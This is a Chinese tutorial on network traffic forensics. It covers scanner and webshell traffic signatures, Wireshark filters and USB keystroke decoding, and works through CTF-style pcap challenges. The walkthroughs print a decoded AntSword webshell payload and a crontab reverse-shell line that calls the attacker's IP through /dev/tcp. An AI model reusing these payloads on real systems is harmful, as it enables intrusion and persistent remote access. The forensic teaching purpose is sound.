基础前言
流量分析(Traffic Analysis)又可以称作是网络取证(Network Forensics),正如其名,就是对计算机或计算机网络通信所产生的流量进行分析的一门技术。应急响应中这是一门我们必须要掌握的技能。无论是 Web 攻击、内网渗透,还是协议滥用,流量数据都是最直接、最可靠的证据。
记住:只要有通信就会产生流量。
安全事件调查中,我们通常依赖 电子四大证据:
日志:记录主机、网络设备、安全设备的操作历史,如 WAF、IDS/IPS 记录的攻击日志
流量:抓取网络数据包,分析攻击者行为及 C2(命令控制)通信。
内存:分析进程运行时的内容,可能包含密钥、后门、Shellcode。
磁盘:存储攻击者植入的 WebShell、恶意程序、凭据等关键数据。
核心工具:Wireshark、Tshark(wireshark命令版)、Tcpdump(轻量级抓包工具,适用于服务器)、Python中的Scapy 库
网络体系结构
TCP/IP 是因特网上的标准通信协议集,它不是针对某一个协议;TCP/IP 的体系结构分为 4 层,分别是
TCP/IP | 功能 |
---|---|
应用层 | FTP,SMTP,HTTP 等上层协议 |
传输层 | TCP/UDP |
网络互连层 | 把数据分组发往目标网络或主机 |
网络接口层 | 负责与物理网络的连接 |
一些WEB流量分析思路
简单点说就是看特征:看指纹、看加密、看ip、看协议。。。。。
网络协议分析详解:网络流量分析详解网络流量格式
常用指纹:
Awvs:
acunetix_wvs_security_test acunetix
acunetix_wvs acunetix_test
Acunetix-Aspect-Password:Cookie:
acunetix_wvs_security_test X-Forwarded-Host:
acunetix_wvs_security_test X-Forwarder-For:
acunetix_wvs-security_test Host:
acunetix_wvs_security_test
Netsparker:
X-Scanner:NetsparkerLocation:
NetsparkerAccept:netsparker/chechCookie:
netsparkerCookie:NETSPARKER
Appscan:
Headers Content-Type:Appscan
Content-Type:AppScanHeader
Accept:Appscan User-Agent:Appscan
Nessus:
x_forwarded_for:nessus
referer:nessus
host:nessus
sqlmap:
User-Agent:sqlmap1.2.8#stable
nmap扫描特征
-sT扫描特征
TCP端口扫描开放:
SYN -->
<-- SYN, ACK
ACK -->
TCP端口扫描关闭:
SYN -->
<-- RST, ACK
TCP全连接扫描通常具有大于 1024 字节的窗口大小,因为由于协议的性质,请求需要一些数据:tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024
存在syn,但是不存在ack,而且大于1024字节,可以被认为是全连接扫描的端口关闭特征。即-sT扫描。
-sS扫描特征
TCP端口扫描开放:
SYN -->
<-- SYN,ACK
RST-->
TCP端口扫描关闭:
SYN -->
<-- RST,ACK
TCP半连接扫描通常大小小于或等于 1024 字节,因为请求未完成,并且它不希望接收数据:
tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size <= 1024
存在syn,但是不存在ack,而且小于等于1024字节,可以被认为是半连接扫描的端口关闭特征。即-sS扫描。
UDP扫描:
UDP段偶扫描开放:
UDP packet -->
UCP端口扫描关闭:
UDP packet -->
ICMP 类型 3,代码 3 消息。 (无法访问目的地,无法访问端口)
UDP端口关闭特征:
icmp.type==3 and icmp.code==3
其他常见特征:流量分析及流量特征识别总结 – FreeBuf网络安全行业门户
WEBshell流量特征
菜刀特征:
1. 会有base64编码:QGluaV9
因为不论新版还是旧版都会有@ini_set("display_errors",而且菜刀和C刀都没有进行加密,因此开头部分必定一样都是QGluaV9
2. 明文部分可以看到先将z0进行base64解密,然后给eval执行。即:@eval(base64_decode($_POST[z0]));
冰蝎特征
因为是加密,所以没有明显的明文特征。
1. 请求正文不是key=calue&key2=value的形式,而是纯base64编码,而且很长很长。因为使用AES加密之后进行编码。
2. 响应正文也是纯base64。
蚁剑特征:支持四种加密特征
1、default特征
请求包里的强特征:
%40ini_set(%22display_errors
2、base64特征:
请求包里的强特征:
%40eval(%40base64_decode
3、chr、chr16特征:
4、rot13特征:
请求包里的强特征:
%40eval(%40str_rot13
5、哥斯拉特征
相应包的开头16位md5,结尾16位md5,中间全部是base64。
其他常见webshell特征:应急响应–流量分析_cobaltstrike、webshell、MSF流量特征
常见php危险代码执行函数:
eval()
assert()
preg_replace()
create_function()
array_mp()
call_user_func()
call_user_lfunc_array()
工具使用
Wireshark:wireshark常用命令 – soloate – 博客园、Wireshark使用
ip.addr ==ip :对特定目的IP地址进行过滤
ip.src ==ip :对指定的源IP地址进行过滤
直接输入HTTP、HTTPS、SMTP、ARP等协议进行筛选
使用【top.port==端口号】或【udp.port==端口号】命令,可对端口进行过滤
使用【tcp contains strings】命令,可对数据包中的strings关键字进行检索,对流量中包含某一关键字的数据包进行筛选
WEB流量实战例题
说不多说,直接上实战例题
题目背景
某公司内网网络被黑客渗透,简单了解,黑客首先攻击了一台web服务器,破解了后台的账户密码,随之利用破解的账号密码登陆了mail系统,然后获取了vpn的申请方式,然后登陆了vpn,在内网pwn掉了一台打印机,请根据提供的流量包回答下面有关问题(题目附件:web.pcap)
1、某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器
尝试搜索一下以下特征
过滤HTTP数据包并查找字符串WVS,成功发现一堆结果,故可以判断扫描器为AWVS
2、某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)
做这个先要分析常见的后台登录页面路径,不然在几十万的流量包里面找几个登录页面效率太慢了。分析题目黑客登录了后台登录提交的表单一般是POST提交,过滤一下POST流量
http.request.method==POST
追踪HTTP流还能看到黑客的输入的账号密码,因此确认该登陆地址就是/admin/login.php?rec=login
3、某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登录了web后台
知道登录地址和攻击者IP现在进行过滤,找到攻击者登录成功的包
http.request.method==POST and http contains "rec=login" and ip.addr == 192.168.94.59
看到有很多包,这里都是在尝试登录直接看最后一个,直接追踪HTTP流
追踪HTTP流后可以看到完整的数据包交流过程,能清楚看到当前登陆数据包成功触发302跳转地址,于是可以认为就是账号密码,账号:admin;密码:admin@#pass123
4、某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码
既然登陆成功是在当前数据包,就可以记录当前数据包,从之后的数据包编号开始分析文件上传。并且Webshell,肯定是属于POST方式
可以发现上面还是admin下面变成images的包,于是连接上木马的流量了,追踪流第一个images的包
看到文件上传成功,那就是这个了,在线解密一下即可获得传输信息,这里末尾有%3D,记得先URL解码再解Base64,最后得到内容
1234=@eval(base64_decode($_POST[action]));&action=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
可以看到是明显是蚁剑的流量特征。进行整理一下:
1234=@eval(base64_decode($_POST[action]));&action=
@ini_set("display_errors", "0"); // 隐藏所有PHP错误信息
@set_time_limit(0); // 解除脚本执行时间限制(允许长时间攻击)
//关闭错误显示:攻击者通过抑制错误提示,避免暴露自身操作。
$D = base64_decode($_POST["z1"]); // 解码POST参数z1(需传入Base64编码的目录路径)
//接收外部参数:攻击者通过POST 传入 z1 参数(如 z1=L3Zhci93d3cvaHRtbA== 解码为 /var/www/html)。
//遍历目录:
$F = @opendir($D); // 尝试打开指定目录
while ($N = @readdir($F)) { // 遍历目录中的文件和子目录
$P = $D . "/" . $N; // 拼接完整文件路径
$T = @date("Y-m-d H:i:s", @filemtime($P)); // 获取文件修改时间
$E = substr(base_convert(@fileperms($P), 10, 8), -4); // 获取文件权限(八进制)
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n"; // 格式化输出信息代码会递归读取目录下的所有文件/子目录,并收集以下信息:文件名、修改时间、文件大小、权限(如 0755)。
//输出结果:
echo $M . $L; // 输出所有目录和文件信息
echo("|<-"); // 标记结束符
5、某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么
找文件直接过滤文件:http contains “robots.txt”
追踪流看文件内容为找到 flag:87b7cb79481f317bde90c116cf36084b
6、某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少
涉及到数据库,那肯定是登录了的,查找下数据库的关键词,过滤字符串200看服务器回应200状态码的包
http contains "database"
追踪流也能看到,得到账号和密码 web/e667jUPvJjXHvEUv
7、某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么
注意看题在数据库里面找东西,上面的题告诉你已经通过密码登录进去数据库了,找东西还是一样直接过滤mysql的流量加上全局查找
mysql contains "hash_code"
追踪TCP流,成功找到hash_code信息
8、某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么
直接全局搜索字符串ijnu@test.com
追踪流查看到账号和密码
md5解密得到明文密码:edc123!@#
9、某司内网被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip
网卡配置直接过滤网卡,一般网卡名字就那几个eth0 eth1 ens33 lo
追踪流,这里看到eth1是内网IP:10.3.3.100
USB流量分析思路
鼠标流量:USB协议鼠标数据部分在Leftover Capture Data域中,数据长度为四个字节
文章参考:https://www.freebuf.com/sectool/347971.html
第一个字节,代表按键
当取00时,代表没有按键
当取01时,代表按左键
当取02时,代表当前按键为右键
第二个字节,可看作为signed byte类型,其最高位为符号位
当值为正时,代表鼠标右移像素位;
当值为负时,代表鼠标左移像素位。
计算步骤
(1) 将十六进制转换为二进制,如:0x02 → 00000010,0xFE → 11111110。
(2) 判断符号位,最高位(第7位)为符号位:0 → 正数(直接转换)。1 → 负数(需计算补码)。
(3) 正数直接转换,示例:0x02(二进制 00000010)→ +2。
(4) 负数补码转换,取反:所有二进制位翻转(0→1,1→0)。加1:结果加1。添加负号:最终值为负数。示例:0xFE(二进制 11111110)符号位为 1 → 负数。取反 → 00000001。加1 → 00000010(即十进制为2)。最终值 → -2。
物理移动方向正值:向右移动(如 +2 → 右移2个单位)。负值:向左移动(如 -2 → 左移2个单位)。
常见值示例
十六进制值 | 二进制值 | 十进制值 | 实际方向 |
---|---|---|---|
0x00 | 00000000 | 0 | 无移动 |
0x7F | 01111111 | +127 | 最大右移 |
0x80 | 10000000 | -128* | 无效(协议保留) |
0xFE | 11111110 | -2 | 左移2个单位 |
0xFF | 11111111 | -1 | 左移1个单位 |
第三个字节,代表垂直上下移动的偏移。
当值为正时,代表鼠标上移像素位;
值为负时,代表鼠标下移像素位。
和第二个计算的方式一样的,只不过左右变成了上下
键盘流量:USB协议数据部分在Leftover Capture Data域中,数据长度为八个字节。
标准8字节键盘数据格式
字节位置 | 名称 | 描述 |
---|---|---|
字节1 | 修饰键(Modifiers) | 表示功能键(Ctrl、Shift、Alt等)的按下状态,每个二进制位对应一个按键。 |
字节2 | 保留字段 | 通常为 0x00 ,部分设备可能用于扩展功能(如多媒体键)。 |
字节3-8 | 普通按键码 | 最多6个同时按下的普通按键的键码(每个按键占1字节)。 |
字节1:Modifier Keys(功能键位掩码)
位(Bit) | 对应按键 | HID Usage ID | 描述 |
---|---|---|---|
Bit 0 | 左Ctrl | 0xE0 | 按下时值为 1 。 |
Bit 1 | 左Shift | 0xE1 | |
Bit 2 | 左Alt | 0xE2 | |
Bit 3 | 左GUI(Win键) | 0xE3 | |
Bit 4 | 右Ctrl | 0xE4 | |
Bit 5 | 右Shift | 0xE5 | |
Bit 6 | 右Alt | 0xE6 | |
Bit 7 | 右GUI(Win键) | 0xE7 |
字节3-8:普通按键码(HID Usage ID)
HID键码(Hex) | 对应按键 | 字符/功能 |
---|---|---|
0x00 | 无按键 | – |
0x04 | A | A/a |
0x05 | B | B/b |
0x06 | C | C/c |
0x07 | D | D/d |
0x08 | E | E/e |
0x09 | F | F/f |
0x0A | G | G/g |
0x0B | H | H/h |
0x0C | I | I/i |
0x0D | J | J/j |
0x0E | K | K/k |
0x0F | L | L/l |
0x10 | M | M/m |
0x11 | N | N/n |
0x12 | O | O/o |
0x13 | P | P/p |
0x14 | Q | Q/q |
0x15 | R | R/r |
0x16 | S | S/s |
0x17 | T | T/t |
0x18 | U | U/u |
0x19 | V | V/v |
0x1A | W | W/w |
0x1B | X | X/x |
0x1C | Y | Y/y |
0x1D | Z | Z/z |
0x1E | 1 | 1/! |
0x1F | 2 | 2/@ |
0x20 | 3 | 3/# |
0x21 | 4 | 4/$ |
0x22 | 5 | 5/% |
0x23 | 6 | 6/^ |
0x24 | 7 | 7/& |
0x25 | 8 | 8/* |
0x26 | 9 | 9/( |
0x27 | 0 | 0/) |
0x28 | Enter | 回车键 |
0x29 | Esc | Esc键 |
0x2A | Backspace | 退格键 |
0x2B | Tab | Tab键 |
0x2C | Space | 空格键 |
0x2D | – | -/_ |
0x2E | = | =/+ |
0x2F | [ | [/{ |
0x30 | ] | ]/} |
0x31 | \ | /| |
0x33 | ; | ;/: |
0x34 | ‘ | ‘/” |
0x35 | ` | `/~ |
0x36 | , | ,/< |
0x37 | . | ./> |
0x38 | / | /? |
0x39 | Caps Lock | 大写锁定键 |
0x3A | F1 | F1功能键 |
0x3B | F2 | F2功能键 |
… | … | … |
0x52 | ↑ | 方向键上 |
0x51 | ↓ | 方向键下 |
0x50 | ← | 方向键左 |
0x4F | → | 方向键右 |
示例分析
这里看到第三位是09,和上面的表对应一下就是F
USB的流量分析基础就是这些,下面是自动化工具:一把梭工具
首先要将wireshark里面的tshark.exe所在的文件夹添加到环境变量path下
CMD中执行tshark -v可以检测是否添加成功
USB流量分析实战
题目背景:请根据流量包信息还原鼠标流量找到flag
打开usb2的流量包先看capture Data是几位的,分析出来是什么流量
这里看到4位的USB流量,直接打开一把梭工具,打开命令行
python run_GUI.py 打开工具
看所有的按键流量
太乱了看不出来,一个一个看(左键)
右键,成功获取到flag内容。
题目背景2:请根据流量包信息还原键盘流量找到flag
流量分析实战之常见攻击事件
1、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
打开流量包,可以发现有很多红色的异常SYN包。且其中的SYN值为1。我们知道SYN泛洪攻击就明显是这个特征。
SYN扫描也称半开放扫描。在SYN扫描中,恶意客户企图跟服务器在每个可能的端口建立TCP/IP连接。这通过向服务器每个端口发送一个SYN数据包,装作发起一个三方握手来实现。如果服务器从特定端口返回SYN/ACK(同步应答)数据包,则意味着端口是开放的。以此来探测服务端口。然后,恶意客户程序发送一个RST数据包。结果,服务器以为存在一个通信错误,以为客户端决定不建立连接。如果服务器从特定端口返回一个RST数据包,这表示端口是关闭的,不能攻击。而Nmap的默认扫描方式就是SYN扫描。
SYN泛洪的流量特征:
- 短时间内大量SYN包涌向目标服务器,导致服务器资源耗尽。
- 每个连接请求仅发送SYN包,不完成三次握手过程。
- 来源IP地址随机或伪造,难以追踪真实攻击者。
这里顺便补充一下其他泛洪攻击的流量特征及原理
ICMP flood攻击:ICMP是它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些消息本身不传递数据。常见的ICMP报文有:响应请求(PING)、目标不可到达、源抑制和超时报文、时间戳请求和应答报文。而ICMP泛洪攻击就是短时间内通过向目标设备请求ICMP回应,耗尽其网络带宽、CPU 或内存资源,导致目标无法正常响应合法请求。(指的注意的是ping和icmp并不是一回事,ping的过程要比icmp复杂且响应更慢)
ICMP泛洪的流量特征
- 短时间内大量ICMP Echo请求(ping包)涌向目标,导致网络拥塞。
- ICMP流量异常高,超过正常基线。
- 包大小可能设置为最大,增加带宽消耗。
UDP Flood 攻击:UDP(用户数据报协议)是一种无连接、不可靠的传输层协议,通信前不需像 TCP 那样建立三次握手连接且不保证数据的可靠传输。攻击者利用UDP协议的无连接性,可以快速发送大量伪造源IP地址的UDP数据包且无需等待目标确认。正常情况下,UDP数据包的双向流量是相等的,大小、内容是随机的。但在UDP洪水攻击中,对同一目标IP的UDP数据包在一侧大量出现,且内容和大小都比较固定。
UDP泛洪的流量特征:
- 短时间内大量UDP包涌向目标,导致网络带宽耗尽或目标服务资源耗尽。
- 来源端口和目标端口多为随机,增加流量混乱度。
- 流量高峰明显,超过正常基线。
所以可以基本断定这里的攻击ip就是14.0.0.120 对目标ip 10.0.0.112进行扫描。
2、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
直接将源IP丢进IP反查工具中,可以发现地址城市在广州
3、哪一个端口提供对web服务器管理面板的访问?
通常,Web 服务器管理面板会使用以下常见端口:
- 80(HTTP):不安全的网页访问。
- 443(HTTPS):安全的网页访问。
- 8080:常见的备用 HTTP 端口。
- 8443:常见的备用 HTTPS 端口。
- 2082, 2083:cPanel 默认管理端口。
- 10000:Webmin 默认管理端口。
- 8006:Proxmox Virtual Environment 管理端口。
- 3000:用于许多自定义和开发中的管理面板,如 Grafana。
根据流量内容,可以识别是否是管理面板的访问请求。通常,管理面板的 URL 路径可能包含如下关键词:
admin
login
cpanel
webmin
dashboard
manage
而一般常用的面板服务的访问方式都是采用HTTP或者HTTPS的方式进行,所以我们直接筛选一下HTTP数据包,可以清楚的看到通过8080端口访问了tomcat管理面板
4、经过前面对攻击者行为的分析后,攻击者运用的工具是?flag格式:flag{名称}
这里有个小技巧,可以通过排序info字段来方便观察。例如:
查看特定类型的流量:通过对”Info”列排序,可以快速找到并查看相同或相似类型的流量。例如,可以找到所有的 HTTP GET 请求、DNS 查询等。
分析包的顺序:排序后,可以更容易分析某些包的出现频率和顺序,特别是在调试或查找异常流量时。
可以看到在极短时间内,来源 IP 访问了多个与示例或管理相关的路径。请求路径包含 /manager/html
和 /host-manager/html
,这是 Tomcat 的管理页面,通常不应被公开访问。所以可以简单的判断出该行为很可能是一次扫描或暴力破解尝试,攻击者试图通过访问示例和管理路径来收集信息或进行攻击。然后追踪一下HTTP流,可以看到UA头多次出现,因此判定黑客工具就是gobuster
这里总结一下黑客喜欢的扫描工具:
Nmap
用途:网络扫描和主机发现
功能:用于发现网络中的设备及其服务,通过端口扫描了解系统信息、检测开放端口和潜在的安全漏洞。
Metasploit
用途:漏洞利用和渗透测试
功能:提供了一个框架,允许用户开发、测试和执行漏洞利用代码,进行渗透测试。
Wireshark
用途:网络流量分析
功能:捕获和分析网络数据包,帮助理解网络通信并检测可疑活动。
Gobuster
用途:目录和文件暴力破解
功能:通过字典攻击来查找网站的隐藏目录和文件,帮助发现未公开的资源。
Hydra
用途:密码破解
功能:进行快速并行的暴力破解或字典攻击,针对各种协议和服务(如FTP、HTTP、SSH等)。
John the Ripper
用途:密码破解
功能:针对加密密码文件进行暴力破解或字典攻击,支持多种加密格式。
SQLmap
用途:SQL注入攻击
功能:自动检测和利用SQL注入漏洞,帮助测试和防护数据库系统。
Burp Suite
用途:Web应用安全测试
功能:集成的Web应用渗透测试工具,包含拦截代理、扫描器、爬虫等功能。
Aircrack-ng
用途:无线网络破解
功能:用于捕获和分析无线数据包,并进行WEP和WPA-PSK密码的暴力破解。
Nikto
用途:Web服务器扫描
功能:扫描Web服务器,检测潜在的安全漏洞和配置问题。
Maltego
用途:信息收集和关系分析
功能:图形化分析工具,用于收集和展示公开的情报信息,揭示复杂的数据关系。
Social-Engineer Toolkit (SET)
用途:社会工程学攻击
功能:模拟社会工程学攻击,如钓鱼攻击、短信钓鱼等,帮助测试和培训安全意识。
5、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?
也是一样我们筛出HTTP包,然后重点观察带有登录路径的一些包,并查看对应的返回响应码是不是200。
可以看到某些登录请求包中带有鉴权字段Authorization。且该字段紧跟着一个 Basic
关键字,后面跟着一串Base64编码的字符串,显然这是HTTP基本认证的标准形式,通过HTTP头部的 Authorization
字段来传递用户的凭证(用户名和密码)这种方法在请求头中使用 Authorization: Basic <Base64编码的用户名和密码>
的格式,这串Base64编码的字符串实际上是 用户名:密码
的格式。于是我们筛出相应200的成功登录的包,并把其对应的字段值放入base64解密,最后拿到用户名和密码:admin:tomcat
6、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称?flag格式:flag{114514.txt}
已知题目让我们分析流量提交恶意文件的名称,那我们就从HTTP POST请求中查找上传的恶意文件名称;
http.request.method == "POST"
在请求中查找 Content-Disposition
字段,这个字段包含了上传文件的名称。
所以上传文件的名称是 JXQOZY.war
。补充一下:WAR
文件通常用于Java Web应用程序的部署。攻击者可以通过控制这个文件在服务器上执行恶意代码,例如反弹shell
提交 JXQOZY.war 文件后,攻击者可能会利用这个文件在服务器上执行恶意代码,例如建立反弹shell。进一步的网络流量分析可以帮助确定攻击者是否成功执行了恶意代码并建立了反弹shell。此类分析可以包括:
查看服务器的响应。
检查是否有后续的可疑连接,例如反向shell连接。
检查是否有其他不寻常的活动,可能表明服务器被攻破。
这里我们将这个文件提取出来进行进一步分析:导出文件的方法:wireshark流量中提取文件
提取出来然后解压,发现带有一个JSP文件,分析一下源码,可以看出来是反弹sshell的脚本
7、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息?flag提示,某种任务里的信息
为了找到攻击者维持提权成功后的登录相关信息,可以分析流量中关键的HTTP请求和响应内容,特别关注那些可能包含上传文件、执行命令或获取系统信息的请求。
在流量中,任何涉及到管理接口、上传文件、或执行命令的请求都需要重点关注。例如:
- POST /manager/html/upload:上传文件请求
- /bin/sh 或 /bin/bash:执行命令的请求
提权后的持久化手段
攻击者常用的方法包括:
- 上传恶意文件:例如,WAR文件中可能包含shell脚本或其他恶意代码。
- 定时任务(cron job):通过定时任务执行恶意代码。
- 后门程序 :例如,将恶意程序放置在
/bin
或其他系统目录。
发现关键路径 /bin
路径 /bin
是Linux系统中的一个重要目录,通常包含系统级命令。如果在流量中发现了对 /bin
目录的访问或文件上传,那么很可能攻击者在这里放置了后门程序。
根据上题已知upload那肯定就是没有了,因为里面只有一些其它的信息,那我们就只能从/bin或者定时任务进行查找相关信息,我们可以用命令;
因为HTTP协议传输的数据实际上是封装在TCP协议之中的。HTTP数据在传输过程中会被分割成TCP包,每个TCP包中包含部分HTTP数据。如果HTTP数据中的某些内容被分割到多个TCP包中,那么在查看HTTP流量时可能无法直接匹配到这些分割的数据,而在查看原始的TCP流量时可以。所以在查找关键数据的时候直接使用tcp协议就好了。
tcp contains "/bin"
右键追踪tcp流进行分析可以看到linux命令:
对命令进行一个简单的解析:这段命令显示了一个攻击者通过Linux命令行在目标系统上执行的一系列操作,目的是在系统上设置一个定时任务,建立一个反向Shell连接。
whoami
输出:root
作用:确认当前用户是root,拥有最高权限。
cd /tmp
作用:切换当前工作目录到/tmp。这个目录通常用于存放临时文件,对所有用户开放写权限,是攻击者常用的目录。
pwd
输出:/tmp
作用:确认当前工作目录确实是/tmp。
echo " * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron*
作用:将一个定时任务写入名为cron的文件中。
内容解释:
* * * * *:表示每分钟执行一次。
/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1':在bash中执行反向Shell连接到IP 14.0.0.120的443端口。
crontab -i cron
作用:将cron文件中的内容安装为当前用户的定时任务(crontab)。
选项:-i通常表示安装或导入。
crontab -l
输出:* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
作用:列出当前用户的所有定时任务,确认任务已成功安装。
恶意行为分析
- 反向Shell :每分钟执行一次,尝试通过目标机器的
/bin/bash
发起到攻击者机器(14.0.0.120
)的443端口的反向Shell连接。 - 保持持久访问:使用crontab在目标机器上设置定时任务,实现持久化访问,即使Shell被关闭,每分钟仍会尝试重新连接。
- 高权限操作 :攻击者以
root
权限执行命令,确保对系统有最高控制权。
所以从攻击者的行为来看,他们希望在系统上保持持久的控制。通过设置crontab任务,攻击者可以确保即使当前连接断开,他们也能每分钟重新建立一个反向Shell连接。
那么关键信息就是“ * * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
”
这个任务是攻击者设置的,用于每分钟尝试建立一个反向Shell连接到攻击者的机器。